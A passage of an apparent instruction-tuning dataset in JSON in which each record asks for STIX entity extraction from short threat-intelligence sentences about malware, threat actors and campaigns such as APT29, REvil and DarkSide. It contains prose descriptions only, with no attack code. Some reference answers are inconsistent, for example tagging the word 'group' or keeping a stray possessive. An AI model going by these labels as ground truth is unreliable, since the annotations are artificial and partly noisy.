MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWith the petabytes of daily data transactions it secures, the Zscaler ThreatLabZ security research team has a unique view of the latest cybersecurity trends and, more importantly, threat activity. This month, we deconstructed the new Kaseya VSA supply-chain attack and took a deep dive into the Minebridge RAT infection chain. ### **The REvil hackers come back with a Kaseya supply-chain ransomware attack**\n",
    "output": "<entities>Zscaler|Zscaler ThreatLabZ|Minebridge RAT|REvil|Kaseya VSA supply-chain attack</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.\n",
    "output": "<entities>BOOTRASH|Volume Boot Record</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGallmaker sent victims a lure document with a warning that asked victims to \u201cenable content\u201d for execution.\n",
    "output": "<entities>Gallmaker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOSX_OCEANLOTUS.D uses a shell script as the main executable inside an app bundle and drops an embedded base64-encoded payload to the /tmp folder.\n",
    "output": "<entities>OSX_OCEANLOTUS.D|/tmp</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDtrack\u2019s dropper can list all running processes.\n",
    "output": "<entities>Dtrack</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGRIFFON is written in and executed as JavaScript.\n",
    "output": "<entities>GRIFFON|JavaScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n",
    "output": "<entities>C0021|APT29|Washington D.C.|US|Europe|Hong Kong|India|Canada</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSYNful Knock is malware that is inserted into a network device by patching the operating system image.\n",
    "output": "<entities>SYNful Knock</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMechaFlounder has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.\n",
    "output": "<entities>MechaFlounder|lsass.exe|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.\n",
    "output": "<entities>Pacu|GitHub|AWS|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAstaroth uses certutil and BITSAdmin to download additional malware.\n",
    "output": "<entities>Astaroth|certutil|BITSAdmin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKwampirs is a backdoor Trojan used by Orangeworm. It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. \n",
    "output": "<entities>Kwampirs|Orangeworm</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nReaver queries the Registry to determine the correct Startup path to use for persistence.\n",
    "output": "<entities>Reaver</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBackdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. \n",
    "output": "<entities>Dragonfly|group|Backdoor.Oldrea</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by APT29 since at least May 2020.\n",
    "output": "<entities>TEARDROP|2020 SolarWinds cyber intrusion|APT29</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n",
    "output": "<entities>Dridex|TrickBot|ZLoader|Cobalt Strike|Metasploit|Mimikatz|Citrix|DarkSide\u2019|BloodHound|RDWeb</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKGH_SPY can exfiltrate collected information from the host to the C2 server.\n",
    "output": "<entities>KGH_SPY|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCaddyWiper is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.\n",
    "output": "<entities>CaddyWiper|Ukraine</entities>"
  },
  {
